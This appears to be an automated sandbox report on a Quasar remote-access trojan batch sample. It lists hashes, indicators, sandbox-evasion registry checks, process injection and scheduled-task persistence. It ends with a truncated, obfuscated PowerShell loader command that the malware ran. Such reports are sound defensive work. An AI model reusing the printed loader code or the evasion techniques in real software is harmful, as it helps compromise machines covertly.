Analysis
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max time kernel
150s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
28-01-2025 05:55
Static task
static1
Behavioral task
behavioral1
Sample
3394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b.bat
Resource
win7-20240903-en
General
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Target
3394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b.bat
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Size
3.4MB
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MD5
f06fd82f34a91ec7ec3a2f242daa5699
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SHA1
31625c87b890569ab23b1556d37400deefbbe03c
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SHA256
3394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b
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SHA512
31b7e30d6d3194eb83619b8006d38a87e4cb807aadc284f1c4acc5c03f701a154bad50a13a730b211443f9730c46e15b13c00f4b3994b53261efc17fd685b50a
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SSDEEP
24576:ouCQ1lZkZ4Cs5O1MvmcQX4oZZtOHiBmXj5vAj/oSpaCj76RzfkvS9GnWN+uuQG48:+EHLmI4OH9mjra3avfWIdW1M399qlY
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/672-45-0x000001FFC1A30000-0x000001FFC1F98000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3236 created 616 3236 powershell.EXE 5 -
Blocklisted process makes network request 6 IoCs
flow pid Process 22 672 powershell.exe 36 672 powershell.exe 39 672 powershell.exe 44 672 powershell.exe 45 672 powershell.exe 47 672 powershell.exe -
pid Process 1236 powershell.exe 1776 powershell.exe 672 powershell.exe 3236 powershell.EXE -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Drops file in System32 directory 11 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4948 set thread context of 4296 4948 powershell.exe 112 PID 3236 set thread context of 2952 3236 powershell.EXE 115 -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\$nya-onimai3 powershell.exe File created C:\Windows\$nya-onimai3\$nya-Loli.bat powershell.exe File opened for modification C:\Windows\$nya-onimai3\$nya-Loli.bat powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 Jan 2025 06:06:31 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1738044390" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1CEB11FC-AAA2-4D46-AC7F-70CB91DA5A1F}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1820 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1776 powershell.exe 1776 powershell.exe 1236 powershell.exe 1236 powershell.exe 672 powershell.exe 672 powershell.exe 672 powershell.exe 672 powershell.exe 672 powershell.exe 3236 powershell.EXE 3236 powershell.EXE 3236 powershell.EXE 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 672 powershell.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 672 powershell.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 672 powershell.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe 2952 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1776 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 672 powershell.exe Token: SeDebugPrivilege 3236 powershell.EXE Token: SeDebugPrivilege 3236 powershell.EXE Token: SeDebugPrivilege 2952 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2072 svchost.exe Token: SeIncreaseQuotaPrivilege 2072 svchost.exe Token: SeSecurityPrivilege 2072 svchost.exe Token: SeTakeOwnershipPrivilege 2072 svchost.exe Token: SeLoadDriverPrivilege 2072 svchost.exe Token: SeSystemtimePrivilege 2072 svchost.exe Token: SeBackupPrivilege 2072 svchost.exe Token: SeRestorePrivilege 2072 svchost.exe Token: SeShutdownPrivilege 2072 svchost.exe Token: SeSystemEnvironmentPrivilege 2072 svchost.exe Token: SeUndockPrivilege 2072 svchost.exe Token: SeManageVolumePrivilege 2072 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2072 svchost.exe Token: SeIncreaseQuotaPrivilege 2072 svchost.exe Token: SeSecurityPrivilege 2072 svchost.exe Token: SeTakeOwnershipPrivilege 2072 svchost.exe Token: SeLoadDriverPrivilege 2072 svchost.exe Token: SeSystemtimePrivilege 2072 svchost.exe Token: SeBackupPrivilege 2072 svchost.exe Token: SeRestorePrivilege 2072 svchost.exe Token: SeShutdownPrivilege 2072 svchost.exe Token: SeSystemEnvironmentPrivilege 2072 svchost.exe Token: SeUndockPrivilege 2072 svchost.exe Token: SeManageVolumePrivilege 2072 svchost.exe Token: SeAuditPrivilege 2824 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2072 svchost.exe Token: SeIncreaseQuotaPrivilege 2072 svchost.exe Token: SeSecurityPrivilege 2072 svchost.exe Token: SeTakeOwnershipPrivilege 2072 svchost.exe Token: SeLoadDriverPrivilege 2072 svchost.exe Token: SeSystemtimePrivilege 2072 svchost.exe Token: SeBackupPrivilege 2072 svchost.exe Token: SeRestorePrivilege 2072 svchost.exe Token: SeShutdownPrivilege 2072 svchost.exe Token: SeSystemEnvironmentPrivilege 2072 svchost.exe Token: SeUndockPrivilege 2072 svchost.exe Token: SeManageVolumePrivilege 2072 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2072 svchost.exe Token: SeIncreaseQuotaPrivilege 2072 svchost.exe Token: SeSecurityPrivilege 2072 svchost.exe Token: SeTakeOwnershipPrivilege 2072 svchost.exe Token: SeLoadDriverPrivilege 2072 svchost.exe Token: SeSystemtimePrivilege 2072 svchost.exe Token: SeBackupPrivilege 2072 svchost.exe Token: SeRestorePrivilege 2072 svchost.exe Token: SeShutdownPrivilege 2072 svchost.exe Token: SeSystemEnvironmentPrivilege 2072 svchost.exe Token: SeUndockPrivilege 2072 svchost.exe Token: SeManageVolumePrivilege 2072 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2072 svchost.exe Token: SeIncreaseQuotaPrivilege 2072 svchost.exe Token: SeSecurityPrivilege 2072 svchost.exe Token: SeTakeOwnershipPrivilege 2072 svchost.exe Token: SeLoadDriverPrivilege 2072 svchost.exe Token: SeSystemtimePrivilege 2072 svchost.exe Token: SeBackupPrivilege 2072 svchost.exe Token: SeRestorePrivilege 2072 svchost.exe Token: SeShutdownPrivilege 2072 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 672 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 708 wrote to memory of 384 708 cmd.exe 84 PID 708 wrote to memory of 384 708 cmd.exe 84 PID 708 wrote to memory of 1776 708 cmd.exe 85 PID 708 wrote to memory of 1776 708 cmd.exe 85 PID 1776 wrote to memory of 1820 1776 powershell.exe 93 PID 1776 wrote to memory of 1820 1776 powershell.exe 93 PID 1776 wrote to memory of 1236 1776 powershell.exe 95 PID 1776 wrote to memory of 1236 1776 powershell.exe 95 PID 1236 wrote to memory of 4300 1236 powershell.exe 97 PID 1236 wrote to memory of 4300 1236 powershell.exe 97 PID 4300 wrote to memory of 3576 4300 cmd.exe 101 PID 4300 wrote to memory of 3576 4300 cmd.exe 101 PID 4300 wrote to memory of 672 4300 cmd.exe 102 PID 4300 wrote to memory of 672 4300 cmd.exe 102 PID 672 wrote to memory of 4380 672 powershell.exe 103 PID 672 wrote to memory of 4380 672 powershell.exe 103 PID 672 wrote to memory of 4948 672 powershell.exe 110 PID 672 wrote to memory of 4948 672 powershell.exe 110 PID 672 wrote to memory of 4948 672 powershell.exe 110 PID 672 wrote to memory of 4948 672 powershell.exe 110 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 4948 wrote to memory of 4296 4948 powershell.exe 112 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 3236 wrote to memory of 2952 3236 powershell.EXE 115 PID 2952 wrote to memory of 616 2952 dllhost.exe 5 PID 2952 wrote to memory of 676 2952 dllhost.exe 7 PID 2952 wrote to memory of 960 2952 dllhost.exe 12 PID 2952 wrote to memory of 64 2952 dllhost.exe 13 PID 2952 wrote to memory of 428 2952 dllhost.exe 14 PID 2952 wrote to memory of 1036 2952 dllhost.exe 16 PID 2952 wrote to memory of 1136 2952 dllhost.exe 17 PID 2952 wrote to memory of 1144 2952 dllhost.exe 18 PID 2952 wrote to memory of 1156 2952 dllhost.exe 19 PID 2952 wrote to memory of 1224 2952 dllhost.exe 20 PID 2952 wrote to memory of 1244 2952 dllhost.exe 21 PID 2952 wrote to memory of 1288 2952 dllhost.exe 22 PID 2952 wrote to memory of 1396 2952 dllhost.exe 23 PID 2952 wrote to memory of 1408 2952 dllhost.exe 24 PID 2952 wrote to memory of 1488 2952 dllhost.exe 25 PID 2952 wrote to memory of 1572 2952 dllhost.exe 26 PID 2952 wrote to memory of 1580 2952 dllhost.exe 27 PID 2952 wrote to memory of 1652 2952 dllhost.exe 28 PID 2952 wrote to memory of 1716 2952 dllhost.exe 29 PID 2952 wrote to memory of 1756 2952 dllhost.exe 30 PID 2952 wrote to memory of 1764 2952 dllhost.exe 31 PID 2952 wrote to memory of 1852 2952 dllhost.exe 32 PID 2952 wrote to memory of 2000 2952 dllhost.exe 33 PID 2952 wrote to memory of 2024 2952 dllhost.exe 34 PID 2952 wrote to memory of 1448 2952 dllhost.exe 35 PID 2952 wrote to memory of 1704 2952 dllhost.exe 36 PID 2952 wrote to memory of 2072 2952 dllhost.exe 37 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bc05c5b5-8ab0-42f5-8cc8-d0191ad8dae5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:428
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1156
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2788
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PHnmMaDyYvVP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FrUZVLKCqCrfSh,[Parameter(Position=1)][Type]$CsHzUwyQVr)$qITvUtfkArS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'du'+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+'l'+''+'e'+''+'g'+'a'+'t'+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+'n'+'s'+''+[Char](105)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+[Char](115)+'',[MulticastDelegate]);$qITvUtfkArS.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'cia'+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eByS'+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$FrUZVLKCqCrfSh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+',M'+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$qITvUtfkArS.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+'i'+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+'e'+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+',Virtua'+'l'+'',$CsHzUwyQVr,$FrUZVLKCqCrfSh).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $qITvUtfkArS.CreateType();}$SpEHOpUwNwaIe=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 